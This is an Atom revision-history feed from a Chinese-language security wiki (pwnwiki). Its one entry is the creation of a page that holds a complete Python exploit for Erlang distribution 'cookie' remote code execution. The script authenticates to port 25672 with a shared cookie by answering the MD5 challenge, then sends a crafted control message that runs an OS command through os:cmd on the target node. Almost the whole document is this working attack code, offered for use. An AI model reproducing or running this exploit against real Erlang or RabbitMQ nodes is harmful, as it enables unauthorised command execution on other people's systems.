<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Erlang_Cookie_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Erlang Cookie 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Erlang_Cookie_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Erlang_Cookie_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T05:36:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Erlang_Cookie_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1495&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Erlang Cookie - Remote Code Execution # Date: 2020-05-04 # Exploit Author: 1F98D # Original Author: Milton Valencia (wetw0rk) # Software Link: h...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Erlang_Cookie_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1495&amp;oldid=prev"/>
		<updated>2021-04-11T01:07:51Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Erlang Cookie - Remote Code Execution # Date: 2020-05-04 # Exploit Author: 1F98D # Original Author: Milton Valencia (wetw0rk) # Software Link: h...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Erlang Cookie - Remote Code Execution&lt;br /&gt;
# Date: 2020-05-04&lt;br /&gt;
# Exploit Author: 1F98D&lt;br /&gt;
# Original Author: Milton Valencia (wetw0rk)&lt;br /&gt;
# Software Link: https://www.erlang.org/&lt;br /&gt;
# Version: N/A&lt;br /&gt;
# Tested on: Debian 9.11 (x64)&lt;br /&gt;
# References:&lt;br /&gt;
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/&lt;br /&gt;
#&lt;br /&gt;
# Erlang allows distributed Erlang instances to connect and remotely execute commands.&lt;br /&gt;
# Nodes are permitted to connect to eachother if they share an authentication cookie,&lt;br /&gt;
# this cookie is commonly called &amp;quot;.erlang.cookie&amp;quot;&lt;br /&gt;
# &lt;br /&gt;
#!/usr/local/bin/python3&lt;br /&gt;
​&lt;br /&gt;
import socket&lt;br /&gt;
from hashlib import md5&lt;br /&gt;
import struct&lt;br /&gt;
import sys&lt;br /&gt;
​&lt;br /&gt;
TARGET = &amp;quot;192.168.1.1&amp;quot;&lt;br /&gt;
PORT = 25672&lt;br /&gt;
COOKIE = &amp;quot;XXXXXXXXXXXXXXXXXXXX&amp;quot;&lt;br /&gt;
CMD = &amp;quot;whoami&amp;quot;&lt;br /&gt;
​&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.connect((TARGET, PORT))&lt;br /&gt;
​&lt;br /&gt;
name_msg  = b&amp;quot;\x00&amp;quot;&lt;br /&gt;
name_msg += b&amp;quot;\x15&amp;quot;&lt;br /&gt;
name_msg += b&amp;quot;n&amp;quot;&lt;br /&gt;
name_msg += b&amp;quot;\x00\x07&amp;quot;&lt;br /&gt;
name_msg += b&amp;quot;\x00\x03\x49\x9c&amp;quot;&lt;br /&gt;
name_msg += b&amp;quot;AAAAAA@AAAAAAA&amp;quot;&lt;br /&gt;
​&lt;br /&gt;
s.send(name_msg)&lt;br /&gt;
s.recv(5)                    # Receive &amp;quot;ok&amp;quot; message&lt;br /&gt;
challenge = s.recv(1024)     # Receive &amp;quot;challenge&amp;quot; message&lt;br /&gt;
challenge = struct.unpack(&amp;quot;&amp;gt;I&amp;quot;, challenge[9:13])[0]&lt;br /&gt;
​&lt;br /&gt;
print(&amp;quot;Extracted challenge: {}&amp;quot;.format(challenge))&lt;br /&gt;
​&lt;br /&gt;
challenge_reply  = b&amp;quot;\x00\x15&amp;quot;&lt;br /&gt;
challenge_reply += b&amp;quot;r&amp;quot;&lt;br /&gt;
challenge_reply += b&amp;quot;\x01\x02\x03\x04&amp;quot;&lt;br /&gt;
challenge_reply += md5(bytes(COOKIE, &amp;quot;ascii&amp;quot;) + bytes(str(challenge), &amp;quot;ascii&amp;quot;)).digest()&lt;br /&gt;
​&lt;br /&gt;
s.send(challenge_reply)&lt;br /&gt;
challenge_res = s.recv(1024)&lt;br /&gt;
if len(challenge_res) == 0:&lt;br /&gt;
    print(&amp;quot;Authentication failed, exiting&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
​&lt;br /&gt;
print(&amp;quot;Authentication successful&amp;quot;)&lt;br /&gt;
​&lt;br /&gt;
ctrl = b&amp;quot;\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex&amp;quot;&lt;br /&gt;
msg  = b'\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k'&lt;br /&gt;
msg += struct.pack(&amp;quot;&amp;gt;H&amp;quot;, len(CMD))&lt;br /&gt;
msg += bytes(CMD, 'ascii')&lt;br /&gt;
msg += b'jw\x04user'&lt;br /&gt;
​&lt;br /&gt;
payload = b'\x70' + ctrl + msg&lt;br /&gt;
payload = struct.pack('!I', len(payload)) + payload&lt;br /&gt;
print(&amp;quot;Sending cmd: '{}'&amp;quot;.format(CMD))&lt;br /&gt;
s.send(payload)&lt;br /&gt;
print(s.recv(1024))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>